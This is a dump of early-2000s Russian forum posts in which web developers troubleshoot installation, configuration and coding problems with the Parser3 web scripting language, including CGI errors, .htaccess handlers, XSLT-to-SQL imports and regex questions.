"4716","Есть у фирмы буржуйский хостинг с магазином (Miva Merchant) и, естественно, с платежной системой.\
Подскажите, пожалуйста, как можно осуществить интеграцию всего этого дела с парсером (идеология)?\
Сами разработчики Мивы предлагают только один вид интеграции его с сайтом - посредством get и post запросов. Организовать выбор продукции, таким образом, с помощью парсера я смогу.\
Дальше - больше: Мива формирует заказ, который отправляет платежному серверу (такой толстый xml-документ). Тот возвращает подтверждение тоже ввиде xml-документа, и Miva затем его обрабатывает.\
Так вот, меня интересует идеология дальнейшей работы с заказом: нужно, чтобы по результатам заказа парсер (или вызываемый cgi) переименовал некий файл, а также послал письмо покупателю. \
Проблема в следующем: непонятно, откуда брать документ-подтверждение. Непонятно, как он вообще передается. Каким способом вообще одни сервер может автоматически с другого что-то получить помимо refresh-а через Query string?\
Я мог бы рефрешить через Миву таким способом, но, понятно, это небезопасно. Так что же еще есть?"
"4717","kto nibud mozhet posovetovat horoshiye doc'i po XML, XSLT - tolko zhelatelno na russkom. A to ya na english i sam mogu nayti!"
"4718","Кто подскажет как сохранять созданный парсером имадж в файл?\
[code]\
$kartinka[^image::create(100;100;0x000000)]\
^kartinksa.save[binary;/moi_albom/loshad.jpg]\
[/code]\
^такие гуси не взлетают т.к. картиночка моя еще не преобразована к классу файл, а как єто воспроизвести из мануала не очень понятно"
"4721","не особо вникал в суть, но может cron'ом ходить скажем каждые 10 минут и проверять наличие (забирать) файлика-ответа на том сервере"
"4722","Поищи по форуму p2.\
Там пару раз это обсуждалось (не уверен, покатит ли это на p3) ...\
\
Пробовать ЭТО с 3-м Парсером лично мне лениво.\
Пойду лучше в 3-й GTA  поработаю :-)"
"4723","интересно получается...\
у кого-то всё с пол-пинка заводиться... а кто и после 1000ой попытки не получает нужного результата...\
\
PS: надо быть внимательней!"
"4724","Проблема все та же: \"...parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option],...\"\
\
Хостинг на net.ru. Сам скомпилировать не могу (и не умею, впрочем) :-)"
"4725","Господа, я обращаюсь к тем у кого возникала ошибка в четвертом уроке, а именно Антоний и Ya... Что же вы... Стоило мне отойти в тень на недельку, и забросить  важные дела госудраства как все затихло.... :)  Итак я начну снова, и постараюсь суммировать все что полученно на данный момент:\
\
Имеем: \
Созданную базу mySQL со всеми нужными полями и атрибутами полей.\
\
Делаю\
Copy/Paste из документации в соответсвующие файлы.\
Изменяю auto.p в корневом каталоге (добавляю:\
@auto[]\
$connect_string[mysql://root@localhost/p3test]\
) сразу оговорюсь, что с такой строкой подключения данные в базу добавляются со страницы администрирования, проверял с помощью mysqlc.exe.\
Далее когда пробую открыть раздел news експлорер ничего не пишет просто показывает белый экран, и крутит свой флажок (типа пытается к чему-то подключиться), Опера пишет completed request to localhost и тоже сигнализирует что загрузка страницы не завершена. В таком состоянии браузер может висеть очень долго.\
\
При этом в error логе mySQL на каждую попытку открыть news пишется подобное сообщение: 020724 21:40:31 Aborted connection 2 to db: 'unconnected' user: 'root' host: `localhost' (Unknown error)\
\
в error логе апача на этот счет не пишется ничего, в логе парсера (как я понял это parser3.log)  тоже не пишеться ничего.... наверное потому что обработка не завершена (броузеры сигнализируют что загрузка не закончена)\
\
[b]Коментарий Антония:[/b]\
У меня проблема точь в точь!!!\
...........\
Напомню условия:\
1. Тупое копи\\пасте из четвертого урока\
2. В базу пишет корректно, а выдаёт пустой лист!\
3. Не в каких логах ошибка нефигурирует!\
\
P.S. У меня ИИС! У Bear Апач!\
P.S. У меня .mdb через ODBC! У Bear MySQL как в примере!\
\
Судя по форуму ошибка встречается и у г-на Ya который к сожалению ничего подробно не описал :(\
\
исходные тексты: http://www.parser.ru/forum/?id=4422\
"
"4727","Да и речь шла и самой последней версии ПАРСЕРа, а не о майской..."
"4730","1.\
Обработчик служебной таблицы $MIME-TYPES должен быть case insensitive для расширений файлов.\
\
2.\
Как можно сделать case insensitive в поиске файла? Может быть следует изменить формат регулярных выражений? ;-) Заключать их в слеши (//) и после слеша задавать опции поиска? ;-) Будет удобнее. ;-)\
[code]$list[^file:list[${pathtodb};\\.((jpg)|(jpeg?)|(gif)|(png)|(JPG)|(JPEG?)|(GIF)|(PNG))^$]][/code]"
"4731","День добрый.\
То-ли лыжи не едут, толи чё.\
Есть два сайта, один на парсере, второй тоже )\
На одной машине, на одном апаче, с одинаковыми настройками, разница только что один отклюкается на одно имя, другой на другое (virtualnameserver)\
На одном @main работает, на втором делаем:\
файл auto.p:\
@main[]\
^test[]\
\
@test[]\
памажиииитееееее!\
-cut-\
\
файл index.html:\
получаем:\
-cut-\
\
на выходе - только слово получаем: и бесконечный цикл какой-то, т.е. значек \"загрузка\" в браузере не гаснет.\
меняем index.html на:\
получаем: ^test[]\
-cut-\
\
на выходе получаем все как надо, ^test отрабатывается.\
уже второй час пытаюсь заставить работать этот @main[] в auto.p... никак.\
во втором, работающем сайте - все ок, однако если создаем новый каталог и в нем так же делаем - тоже нифига не пашет.\
только в уже работающих.\
ЗЫ: работает это дело под redhat 7.2, парсер скачан XML версии, уже скомпилёный.\
ну хелп же мне уже!!!! :-))))"
"4732","всем спасибо, сам разобрался....\
ЗЫ: а всё-таки оно удобнее монстра PHP. гораздо."
"4733","Как! Как сказать этому идиоту где искать этот файл!!!!\
через SetEnv понимает только parser_mod, но у меня CGI, ну незачем мне его компилить.\
А CGI этот плюет на все переменные, он вообще делает что хочет и как хочет.\
Внутри его путь такой по умолчанию:\
/home/www/default/parser3//etc/parser3.conf\
и даже от туда не считывает!\
одна и таже ошибка:  $SQL:drivers table must be defined\
так как же всё-таки, не понимает он переменную ни как."
"4734","http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
\
CGI+XML [compiled without --disable-foreign-group-files config option]"
"4735","изменилась директория где лежал парсер, а я не заметил...\
\
вот правильная ссылка:\
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
\
CGI+XML [compiled without --disable-foreign-group-files config option]"
"4737","Вот такого рода документ:\
[code]\
<price date=\"2002-07-23\">\
       <item price=\"1234.87\" total=\"68\" reserved=\"2\" ordered=\"0\">\
           <id>GXD3-67FGT5</id>\
           <section>Млекопитающие</section>\
           <title>Выхухоль бортовая; сер.KX with MMDF&amp;K support 122/17/92, \\GX</title>\
        </item>\
        ...\
        ...\
</price>\
Вот такой ему XSL:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"price\">\
	$priceDate[<xsl:value-of select=\"@date\"/>]\
	<xsl:apply-templates select=\"item\"/>\
</xsl:template>\
<xsl:template match=\"item\">\
	^void:sql{\
	INSERT INTO items\
		(vendor_id,\
		section_title,\
		item_title,\
		item_price,\
		item_total,\
		item_reserved,\
		item_ordered,\
		published,\
		up_date)\
	VALUES(\
		'<xsl:value-of select=\"id\"/>',\
		'<xsl:value-of select=\"section\"/>',\
		'<xsl:value-of select=\"title\"/>',\
		'<xsl:value-of select=\"@price\"/>',\
		'<xsl:value-of select=\"@total\"/>',\
		'<xsl:value-of select=\"@reserved\"/>',\
		'<xsl:value-of select=\"@ordered\"/>',\
		'0',\
		'$priceDate')\
	}\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
По идее, после преобразования, это дело ^process{}, но подстава в том, что преобразование, порой происходит не полностью, а затыкается на произвольных местах. Ну, не то что бы совсем на произвольных, в одном и том же месте для одного документа, но не очень понятно почему. Некоторые проходят преобразование без проблем. Я пробовал поиграться заменами всяких символов типа \"/\", \"\\\", \".\", \",\", соответственно на \"\\/\", \"\\\\\", \"\\.\", \"\\,\"... В некоторых случаях это помогало, зато те документы, которые проходили преобразование, перестали оное делать... В чём может быть корень, так называемого зла?\
"
"4738","тута некоторые люди рекомендують www.escapade.org\
что наш народ по этому поводу посоветует ?"
"4739","ну chown естественно сделан, это не вопрос.\
первый обнаруженый прикол: parser3conf_20020802_unix.tar.gz (4,7 КБ) который скачан отсюда - в нем ошибки есть, одна точно, может и еще, я уже и не знаю.\
смотрю что всё-таки можно сделать чтобы это парсер с БД заработал ("
"4740","та, что с двумя конфигами?\
\
Интересует именно: parser3_3_0_0005_freebsd46R_cgi_xml.tar.gz - то, что анонсировано на днях..."
"4742","Интересно, почему же у меня CGI прекрасно понимает путь в SetEnv?"
"4743","и даже [url=\"http://www.parser.ru/forum/?terms=%24SQL%3Adrivers+table+must+be+defined&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8\"]это[/url] уже посмотрел и все равно?"
"4744","А ещё Парсер еzzь Open Source и бесплатен."
"4745","Подскажите какие-нить сайты с обучением или с говыми примерами.\
\
ЗАРАНЕЕ СПАСИБО.\
\
      глупый ламер..."
"4746","1) Вот я хочу у себя на компе (WinXP) нигде пока не хостясь создать свою домашнюю страничку. Что мне нужно скачать и что нужно сделать? Хотелось бы поподробней.\
2) На каком БЕСПЛАТНОМ хостинге моя страничка будет работать и что для этого на этом хостинге нужно сделать нужно сделать?\
3) Все ли ПЛАТНЫЕ хостинги поддерживают parser?\
Простите заранее за возможно глупые для Вас вопросы."
"4747","Такйо вопрос:\
[b]как вставить на страницу результат работы cgi-скрипта?[/b]\
Т.е., допустим, есть скрипт гостевой книги: gb.cgi\
Втавляешь в \"беспарсерный\" сайт - все работает.\
На \"парсерном\" пишешь ^file::cgi[cgi-bin/gb.cgi]\
Получаешь что-то типа: тра-ля-ля-ля ..... 0 - все нормально (т.е., как я понял парсер видит этот скрипт, но результат работы не выводит).\
Надеюсь понятно объяснил! :)"
"4749","$res[^file::cgi[cgi-bin/gb.cgi]]\
^if(!$res.status){\
  $res.text\
}\
\
только ты в своем скрипте что-нить выводить должен, и не забыть про header, раз вызываешь как cgi..."
"4750","[b]1[/b] - скачать версию для Win32 (на ХР сам не пробовал, но должно работать). Только не забывай, что еще сервак должен быть.\
[b]2[/b] - всех подробностей не знаю, но на hoha.ru - работает (http://parser.hoha.ru)\
[b]3[/b] - работает на всех. Только на каждый по свойму ставить нужно! :)\
[b]ЗЫ:[/b] Простите заранее за возможно глупые для Вас ответы.\
"
"4751","Это тот что апаче? Если не затруднит, адресок пожайлуста.\
А без сервака не как?"
"4752","Вот там - http://www.esc.ru/xml-xsl.html вроде более-менее можно нахвататься для начала. Только по-моему в вышеуказанных примерах есть некие ошибки, но так даже интереснее :)))"
"4754","Помогите с идеей поиска.\
Как мне лучше разбить запрашиваемую строку поиска, чтобы в последствии из нее получит нечто вроде\
select * from chto-to where field like '%первоеслово%' or field like '%второеслово%' итд\
Буду очень благодарен за идеи.\
(в перле я бы все загнал в массив и затем перебором массива и джоином составил запрос ) а как это реализовать в парсере."
"4755","Помогите настроить parser как модуль к Apache (win) .."
"4756","У меня есть два выпадающих списка, я хочу чтобы по выбору какого-либо элемента одного из них в другом динамически отображались нужные элементы, но это мне нужно без перезагрузки страницы.\
Парсер мне может в этом помочь?"
"4757","Пример.\
Есть Функция созданная в JavaScript, внутри нее используется парсероваская переменная $txt, мне нужно этой самой переменной присвоить значение находящееся внутри JavaScript переменной var s.\
Т.е. я хочу сделать так  $txt[s]. "
"4758","отвечаю всем сразу )\
этим обновлятелям сайта я не прощу этого никада ))))\
пол дня убил (\
качал все одновременно, т.е. зашел и скачал.\
что получил - парсер свежий, который понимает уже не HTTP_PARSER_ROOT_CONFIG а только CGI_PARSER_CONFIG.\
но хелп в формате chm  и варианта конфига с таблицами кодировок были еще от старого, т.е. файл был parser3.conf и в хелпе именно про HTTP_PARSER_ROOT_CONFIG всё было расписано.\
ткунлся в хелп на сайте - опа, уже другой. скачал хелп chm с сайта - опа, тоже свежий.\
заново скачал конфиг - ого, а там auto.p а не parser3.conf\
перенастроил - все зажило.. млин ну времени очень жаль :-)))))"
"4759","так нельзя (во всяком случае у меня не работает)\
[code]\
# назначение обработчиком .html страниц \
AddHandler parsed-html html \
[/code]\
а работает так:\
[code]\
# назначение обработчиком .html страниц \
AddHandler parser3-handler .html\
[/code]"
"4760","Господа,\
Может кто-то подскажет как в таблицу (которая tab-delimited) добавить какой-то тэг, так чтобы при генерировании html кода он был выдан как тэг, а не как просто текст. Ну например изменить шрифт или цвет в одной ячейке."
"4762","$users[^table::sql{select id,last_name from users order by last_name}]\
$users.menu{\
<a href=\"update.html?id=$users.id\">$users.last_name</a>&nbsp;\
<a href=\"delete.html?id=$users.id\">удалить</a>\
}[<br>]\
\
в этом случае там где \"удалить\" подставляется id уже из следующей записи. это не баг, это фича.\
а как её обойти то? )))"
"4765","вот!\
без неё было как я написал.\
с ней стало всё ок.\
где-то я пропустил в доке насчет использования ^ в этом месте? "
"4767","парсер и JS могут взаимодействовать только через GET и POST, имхо.\
Легче, я думаю, через GET."
"4769","вот допустим мне надо id проверить прежде чем в select его сунуть. дабы не налететь на что-нить.\
я делаю так: \
$deleteid(^form:id.int[])\
т.е. если я правильно понял, что если $form:id будет строковый я в итоге получу нулик.\
так?"
"4771","надо $deleteid(^form:id.int(0))"
"4772","Проблема такая - сайт www.radstore.ru, размещенный на нашем сервере открывается не везде, поисковые системы при регистрации с первого, иногда и еще несколько раз выдают сообщения, что неправильно указано название сайта. Через какое-то время при попытке регистрации происходит все нормально. Подскажите, в чем может быть проблема \
"
"4773","Ну да, тот самый апаче.\
http://www.dklab.ru"
"4774","Как сделать случайный вывод фраз из базы?"
"4776","Sorry za translit...\
1. Kak zapisat neskolko string'ov v file , kazhdiy string s novoy stroki? ya polzuyus \
[code]\
$string[somestring  <--etot perevod stroki kanaet za \"Enter\"\
]                   <--i poluchaetsa kazhdiy string - s novoy stroki\
$string.save[append;somefile.txt]\
[/code]\
tolko mne kazhetsa - chto zdes ne hvataet sportivnosti - mozhet kto znaet drugoe resheniye?\
\
2. Mozhno li za'Load'it Apache'vskiy Parser_Module cherez .htaccess? et ist opsivat ego ne v httpd.conf - a v .htaccess\
\
3. Predlagayu k obsuzhdeniyu noviy freehosting - www.host.sk.\
Nedavno narvalsya na nego. Tam est php, mysql, cgi - i no banners!\
Zamechatelnoe mesto pod Parser'ed site. domen tipa domen.host.sk.\
.htaccess tozhe mozhno usat.\
Horoshaya alternativa hoha.ru..."
"4777","В чём дело. Что эта ошибка значит."
"4778","1. либо неправильно стоят разрешения для cgi приложения\
2. либо в конфигурационных файлах Apache (httpd.conf, .htaccess) есть неправильно написанные команды\
3. либо произошла ошибка в скрипте (например не хватает памяти для выполнения запроса)"
"4779","OK, Я уже придумал как работать с переменной.\
Я сделал наоборот: s=$txt"
"4780","Если сохранять файл с заранее заданным именем (beauty.jpeg), то все работает нормально, но если вместо имени использовать переменную ($f.jpeg) то начинаются проблемы.\
Использование символа птички ^.jpeg к положительному результату не приводит. Что делать?"
"4781","Пишет:\
[code]\
'mysql://editor:************@localhost/message' $SQL:drivers table must be defined  type: parser.runtime\
[/code]"
"4783","1. Вряд-ли. \\n во всяком случае не помогает. Хотя, если поэкпериментировать с taint...\
2. Нет, см. httpd.apache.org/docs/"
"4785","что там конфигурация немного по другому делается, читай документацию как."
"4787","В парсере ^#0A, правда мне не кажется, что это \"спортивнее\"."
"4789","Сделал вроде как написано в документации, но выходит ошибка 500, а в логах к сайту появляется строка Premature end of script headers: /cgi-bin/parser3.cgi"
"4795","как не работает-то?\
\
The extension argument is case-insensitive, and can be specified with or without a leading dot.\
\
"
"4797","так (для модуля Apache) работает\
[code]\
AddHandler parser3-handler html\
[/code]\
а так нет:\
[code]\
AddHandler parsed-html html\
[/code]"
"4798","кстати в репозитарии нету модулей win32xml и win32mailreceive это ошибка или так и надо?\
\
я их пытаюсь получить так:\
\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_0_0005 win32xml\
\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_0_0005 win32mailreceive"
"4799","sorry za translit...\
\
Znachit tak :\
Kak vam vsem izvestno, elemnet <table> zagruzhaetsa content-based, to est po zagruzke vseh elemntov, vlozhennih v <table>. Na bolee ponyatnom yazike - :\
[i]dopustim, vi sozdali <table>, v kotoriy pomestili dva .gif'a i, dopustim, text mezhdu etimi picturami.\
Pri zagruzke stranitsi vi ne uvidite soderzhaniya <table> do teh por, poka ne zagruzyatsa text i dva .gif'a. Dazhe esli text raspolozhen pered picturami i uzhe zagruzilsya, vi ego ne uvidite, poka ne zagruzyatsa picturi[/i]\
Vot...azh vspotel...blin...nadeyus, vsem ponyatno...:)\
Znaya eto, zahodim na site www.design.ru, i vidim - ispolzuyutsa <table>, v nih raspolozheni i .gif, i text; .gif esche ne zagruzilsya, a text uzhe viden....! Paradox!\
[b]Kak eto rabotaet?! Esli kto znayet - podskazhite![/b]"
"4800","js \
 \" преобразуется в \\\" \
' преобразуется в \\'  \
\\ преобразуется в \\\\ \
символ конца строки преобразуется в \\n \
символ с кодом 0xFF предваряется \\ \
 "
"4801","если указать в теге img размеры картинки, то браузер сможет вывести содержимое таблицы, не получив саму картинку, поэтому везде пишут что очень важно указывать размеры всех картинок в таблице."
"4804","админы подкрутят в течении минут"
"4805","Что будет, если в командной строке unix перейти в директорию с парсером и набрать ./parser3.cgi\
?"
"4806","ne znal...ne znal... Vernee, pro neobhodimost width i height ya znayu davno i nikogda ne isklyuchayu eti attributi, no chtobi vot tak, prosto... Vek zhivi, vek uchis...:) Sanx...\
\
P.S. prosto ya ispolzuyu podobniy effect s <table> na svoyem site.\
delayu dva <span>'a, v perviy pishu \"Loading...Please, wait...\" i ukazivayu \"z-index:1\", a vo vtoroy <span> pomeschayu vse telo documenta i \"z-index:2\" - i poluchaetsa effect pre-loading'a...Poka gruzitsa telo doc'a, viden uzhe zagruzivshiysya <span> no:1, kak tolko zagruzitsa 2-oy <span>, on nakrivayet prediduschiy - i delo ob! Rabotayuschiy effect mojno posmotret zdes: http://crimnet.h1.ru"
"4810","to est ya mogu vzyat chistiy .sql file, sdelat ego ^unatint[js]{$sql.text} - i vse budet rabotat?! A?!"
"4811","Скачал архив с CGI скриптом и архив с конф файлами для сервера с ОП Linux. Развернул в cgi-bin своего сайта: Charset, lib - папки; auto.p и parser3.cgi - файлы. Создал файл .htaccess следующего содержания:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
\
Для файла parser3.cgi установил CHMOD 755.\
\
\
"
"4812","Тут дело в атрибутах, на dhtml.ru подробно написано про позиционировани. А вообще-то лучше <div> использовать."
"4815","[quote]\
 SPAN - Generic Inline Container\
\
\
   #[1]Start [2]Glossary [3]Copyright\
   \
The Web Design Group\
\
                        SPAN - Generic Inline Container\
                                       \
   Syntax <SPAN>...</SPAN>\
   Attribute Specifications\
     * [4]common attributes\
       \
   Contents [5]Inline elements\
   Contained in [6]Inline elements, [7]block-level elements\
   \
   The SPAN element is a generic inline container. SPAN carries no\
   structural meaning itself, but it can be used to provide extra\
   structure through its [8]LANG, [9]DIR, [10]CLASS, and [11]ID\
   attributes. [12]Style sheets are often used to suggest a presentation\
   for a given class or ID.\
   \
   SPAN should only be used where no other HTML [13]inline element\
   provides a suitable meaning. If a presentation such as bold or italic\
   text would be suitable on visual browsers, authors may prefer to use\
   an appropriate [14]font style element. For example:\
    1. <P><SPAN LANG=fr>La Rйvolution Tranquille</SPAN> shook Quebec in\
       the early 1960's.\
    2. <P><I LANG=fr>La Rйvolution Tranquille</I> shook Quebec in the\
       early 1960's.\
       \
   These examples are identical in meaning, but the second example uses\
   the [15]I element to suggest italic text.\
   \
   [16]DIV is a block-level equivalent of SPAN for containing\
   [17]block-level elements such as [18]P and [19]TABLE.\
   \
More Information\
\
     * [20]SPAN in W3C HTML 4.0 Recommendation\
       \
   \
    Maintained by [21]Liam Quinn <[22]liam@htmlhelp.com>\
    \
   [23]Web Design Group ~ [24]HTML 4.0 Reference ~\
   [25]Elements by Function ~ [26]Elements Alphabetically\
   \
   [27]Copyright © 1998 Liam Quinn. All rights reserved.\
\
References\
\
   1. http://www.htmlhelp.com/reference/html40/\
   2. http://www.htmlhelp.com/glossary/glossary.html\
   3. http://www.htmlhelp.com/copyright.html\
   4. http://www.htmlhelp.com/reference/html40/attrs.html\
   5. http://www.htmlhelp.com/reference/html40/inline.html\
   6. http://www.htmlhelp.com/reference/html40/inline.html\
   7. http://www.htmlhelp.com/reference/html40/block.html\
   8. http://www.htmlhelp.com/reference/html40/attrs.html#lang\
   9. http://www.htmlhelp.com/reference/html40/attrs.html#dir\
  10. http://www.htmlhelp.com/reference/html40/attrs.html#class\
  11. http://www.htmlhelp.com/reference/html40/attrs.html#id\
  12. http://www.htmlhelp.com/reference/css/\
  13. http://www.htmlhelp.com/reference/html40/inline.html\
  14. http://www.htmlhelp.com/reference/html40/fontstyle/\
  15. http://www.htmlhelp.com/reference/html40/fontstyle/i.html\
  16. http://www.htmlhelp.com/reference/html40/block/div.html\
  17. http://www.htmlhelp.com/reference/html40/block.html\
  18. http://www.htmlhelp.com/reference/html40/block/p.html\
  19. http://www.htmlhelp.com/reference/html40/tables/table.html\
  20. http://www.w3.org/TR/REC-html40/struct/global.html#edef-SPAN\
  21. http://www.htmlhelp.com/%7Eliam/\
  22. mailto:liam@htmlhelp.com\
  23. http://www.htmlhelp.com/\
  24. http://www.htmlhelp.com/reference/html40/\
  25. http://www.htmlhelp.com/reference/html40/olist.html\
  26. http://www.htmlhelp.com/reference/html40/alist.html\
  27. http://www.htmlhelp.com/copyright.html\
[/quote]"
"4817","Не долго думая скачал и установил версию для Free BSD. Все заработало. Огромное спасибо Павел. Так в чем же было дело? Если можно для неграмотных!"
"4818","\"SPAN should only be used where no other HTML [13]inline element\
provides a suitable meaning\".\
В твоём конкретном случае SPAN точно не нужен, так что не по стандарту выходит :-)"
"4819","В том, что FreeBSD не понимает программы, скомпилированные под Linux. В принципе можно настроить, но для сервера это обычно не делается."
"4820","На сервере точно стоит Free BSD (valuehost).\
Люди говорят ставили - все нормально работает...\
Я же поставил - ни хрена.\
И так и эдак ошибка 500...\
.htaccess - правильный\
parser3.cgi - 755\
В чем еще может быть дело?"
"4821","Павел теперь другая проблемка. При загрузки первой страницы сайта она загружается, но внизу пишется выполнено но с ошибками. Если парсер отключаю (удаляю .htaccess) все грузится без ошибок. Но это только на первой странице index.html на других страницах сайта этого не происходит. Спасибо."
"4822","Есть 2 простых страницы.\
Первая:\
@f[]\
out\
@main[]\
$a[^f[]]\
\
Вторая:\
@f[]\
out\
@main[]\
^f[]\
\
Вторая выводит out, первая записывает out в $a.\
Вопрос: можно ли в первой странице выводить out в броузер непосредственно из ф-ии и как?"
"4823","Я себе только что установил. С легкой руки Павла Титова, который мне подсказывал. Большое ему спасибо. Теперь и я могу тебе подсказать или почитай обсуждение чуть ниже твоего:\
\
Не могу установить Parser на Apache., Pavel [05.08 16:57]"
"4824","Я не знаю что такое \"чистый .sql файл\" в твоем понимании.\
Я не знаю что ты хочешь получить в конечном итоге.\
Написать \
$string[somestring^taint[js][\
]]\
можно, и может быть ты получишь в своем файле в конце буквы '\\n' (пишу может быть т.к. не делал такого никогда).\
Как ты их будешь преобразовывать обратно - я не знаю (может току плохо читал).\
\
Для меня язык 'js' нужен лишь тогда, когда я хочу засунуть в onClick=\"return confirm('$question')\" и я не пытался записывать испачканый таким образом текст (и именно поэтому, мне по большому счету пофигу что во что преобразуется при выдаче в броузер, и я даже не помню этого. я знаю для чего это нужно, и где применять. мне в применении к 'js' этого более чем достаточно).\
\
^taint[] или ^untaint{} применять это тоже философский фопрос - они нужны для разных целей, хотя в некоторых случаях их применение дает одинаковый результат.\
\
P.S. я устал ломать глаза, и лично я больше на сообщения транслитом не отвечаю. То, что кто-то ленится настроить комп/не может это сделать там, где живет и работает - меня не очень волнует.\
Я считаю, что если человек задает вопрос, чтобы ему помогли - в его интересах задать его так, чтобы ему смогли помочь.\
P.P.S. что-то злой я сегодня :)"
"4825","Имеется некий интерфейс на MS DHTML Edit Control\
При использовании там картинок после поста получаем в строке($text[$form:newstext]) вот что:\
<img style=\"бля-бла=бла\" еще куча параметров src=\"file://c:\\work\\test.jpg\"\
при этом в $form:Upload1.name мы имеем онли \"test.jpg\"\
Как сделать ^строка.match[что][опции]{на что}, чтобы получили в итоге там \
<img style=\"бля-бла=бла\" еще куча параметров src=\"i/news/test.jpg\" дальше опять фигня-мутня>\
???\
я в regexp-ах не настолько силён ))))"
"4826","[code]\
$tmp[^text.match[(<img [^^>]*)src=\"([^^\"]+)\"([^^>]*/>)][gi]{$file[....]^if(-f $file){$img[^image::measure[$file]]${match.1}src=\"$file\" width=\"$img.width\" height=\"$img.height\" ${match.3}}}]\
[/code]"
"4827","1. либо неправильно стоят разрешения для cgi приложения\
((( У файла parser3.cgi стоит 700, у остальных - по умолчанию (644)\
2. либо в конфигурационных файлах Apache (httpd.conf, .htaccess) есть неправильно написанные команды\
((( Тот, который в папке sgi-bin:\
SetEnv HTTP_PARSER_ROOT_CONFIG /www/hostportal.hoha.ru/etc/parser3.conf\
Тот, который в папке html\
AddHandler parsed-html .p3\
Action parsed-html /cgi-bin/parser3.cgi\
DirectoryIndex index.p3\
3. либо произошла ошибка в скрипте (например не хватает памяти для выполнения запроса)\
((( Пробовол много раз в различных вариантах\
\
Вообще, я следовал инструкциям parser.hoha.ru\
Сайт hostportal.hoha.ru"
"4829"," Вопрос начинающего.\
Есть ли какая-нибудь среда разработки, которая облегчала бы процес программирования?"
"4830","Делал всё как на parser.hoha.ru Там 2 конфига."
"4833","А в чем разрабатываете? "
"4835","subj!\
под юнихом надо что бы лежали в koi8-r, тогда все по русски кажет.\
это на том где хостуюсь.\
а на отладочном лежит в win1251 - и всё ок.\
можно ему указать в чем лежит на диске или нет? чтобы не перекодировать файлы?"
"4838","в таком примере:\
бла бла бла - \"бла бла\"."
"4839","Файл [i]test[/i] (rwx)\
[code]\
#!/usr/local/parser3/parser3.cgi\
ConfDir = $confdir\
[/code]\
В результате выдаётся пыстое значение переменной. Она не задаётся в @conf[filespec] файла [i]auto.p[/i]. Я думаю, что парсер попаосту не загружает свой конфиг.\
Можно ли как-нибудь указать ему откуда его брать как в случае с веб-сервером?"
"4841","то-нибудь знает, как отправлять картинки на мобильный телефон?\
логотипы и прочее - разное, а то директор дал задание, а че-то никак не догребу"
"4842","Немного не по теме. \
\
А как ты вообще мыслишь грузить картинку в /i/news\
если пользователь просто ее с винта в этом контроле указал, т.е. c:\\work\\test.jpg ?\
\
И где почитать про этот контрол поподробнее? А то сам с ним как-то разбирался."
"4843","da kakaya na..y raznitsa?! Rabotaet? Nu i .bat' ego v uho?!"
"4846","tochno ne pomnyu, no chto-to ,tipa \
[code]\
window.history.go(-1);\
[/code]\
eto na Javascript'e..."
"4847","gde mozhno dostat ves' spisok Env. Variables?\
P.S. Zhelatelno polniy spisok - a to u menya est vsego lish shtuk 7 peremennih, a ostalniye nayti ne mogu..."
"4848","Кроме них каждый веб-сервер имеет собственные специфические переменные, о которых можно прочесть в документации к нему."
"4850","esli eto na parser'e to u tebya oshibka : \
vmesto togo, chto tam u tebya, nado [code]\
$ConfDir[$confdir]\
[/code]\
posle etogo peremennoy [b]ConfDir[/b] budet prisvoeno znachenie[b]confdir[/b]."
"4851","Если речь об открывающей лапке, то match[ \"][g]{ &laquo^;}\
Тире: match[ \\- ][g]{ &#151^; }\
В этом случае логично пользоваться не match, а replace, без регекспов."
"4852","esli ya ne oshibayus, to dlya etogo tebe nuzhen GSM-Gate, ili chto-to tipa etogo. Bez vihoda v GSM u tebya nichego ne poluchitsa... Gate mozhno poiskat na http://www.hotscripts.com..."
"4853","Net, eto ne oshibka. Na byhode ljkzhno poluchit'cya:\
[code]\
ConfDir = kakoy-to_put'\
[/code]\
A poluchaetsya:\
[code]\
ConfDir = \
[/code] "
"4854","vot po etomu adresu est koe chto http://lightning.prohosting.com/~relsom/variables.shtml . Posmotrite - eto vse? esli da - to zamechatelno!....:)"
"4855","Здравствуйте. Помогите чем можно заменить старт[]. Пытался написать пользовательский оператор\
[code]\
@start[url_beginning;congruent;notcongruent]\
^if[$url_beginning eq $request:uri]{\
$congruent\
}{\
$notcongruent\
}\
[/code]\
\
На этом моменте уперся в необходимость отсекать часть ури до первого слеша (сравнивать его с началом желаемого ури). Без match не обойтись, для меня к сожалению регулярные выражения -- лес. \
\
Подскажите пожалуйста.\
\
ps. Может в Р3 есть что-то вместо ^start[]?\
\
Спасибо.\
"
"4856","Если mod_ssl на Apache поставить то добавятся ещё. Если Russian Apache - тоже добавятся. Иными словами [i]все[/i] переменные собрать на одной странице не выйдет никогда.\
Если вообще взять IIS или WebSite (был такой!) - там совсем другие. Но во всех серверах гарантированно есть декларируемые в CGI 1.1, так что лучше постараться ограничиться ими, для кроссплатформенности."
"4857","^if(in \"/your_dir/\"){...}{...}"
"4858","eto ti na parser'e pishesh? ili na Perl'e? esli na Parser'e, to eto oshibka, tak kak znacheniye peremennih tak ne prisvaivaitsa! RTFM!\
P.S. krome togo, imho, auto.p ne schitivaetsa potomu, chto ti zapuskaesh script ne po http-request'u ,a iz \"command prompt\"."
"4859","tak kak ya polzuyus Apache(ne russkim), to etih variablov dolzhno hvatit'...imho....:)\
P.S. a cgi 1.1 variables - eto te, kotoriye na adrese, kotoriy ti dal vishe?"
"4860","А пишу на парсере. Я не пытаюсь присвоить значение, я хочу вывести значение переменной, которая задаётся в auto.p. А то, что написано перед переменной (ConfDir = ), это просто для вывода.\
\
Если auto.p не может быть зацеплен из шела, значит скрипты обрабатываемые таким образом, не могут работать с БД?"
